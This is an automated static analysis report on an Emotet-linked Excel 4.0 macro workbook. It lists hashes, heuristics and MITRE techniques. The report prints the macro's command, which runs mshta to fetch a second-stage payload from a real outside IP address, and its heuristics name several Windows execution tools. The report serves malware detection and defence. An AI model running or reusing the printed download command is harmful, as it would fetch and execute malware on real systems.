Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 c52c245ef5bbe91f…

MALICIOUS

Office (OLE) / .XLS

44.2 KB Created: 2022-01-26 14:19:06 Authoring application: Microsoft Excel
MD5: 1a42ee16ae5c31f86ebf634e35145894 SHA-1: f96a1884ee7dadfdef1b1bc800d11cc470e5de93 SHA-256: c52c245ef5bbe91f9711baff4fa2854761b3b065570b4b637af2e9a52ae5a1c0
322 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. This macro executes the command 'cmd /c mshta http://91.240.118.168/fe/f.html', indicating that it downloads and executes a second-stage payload from the specified URL. ClamAV detection and the presence of mshta.exe references further support its malicious nature. The family is identified as Emotet based on ClamAV's detection name.

Heuristics 8

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • ClamAV: Doc.Downloader.Emotet01220-9937698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet01220-9937698-0
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://91.240.118.168/fe/f.htmlB
    • http://91.240.118.168/fe/f.html

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1496b5efc0849ea9e0695ef96c66819bec865a2ce110a32e705833c9ed3fc17b		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1149 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 shell/COM execution token(s). Carved macro source contains an auto-exec entry point and execution/download terms.

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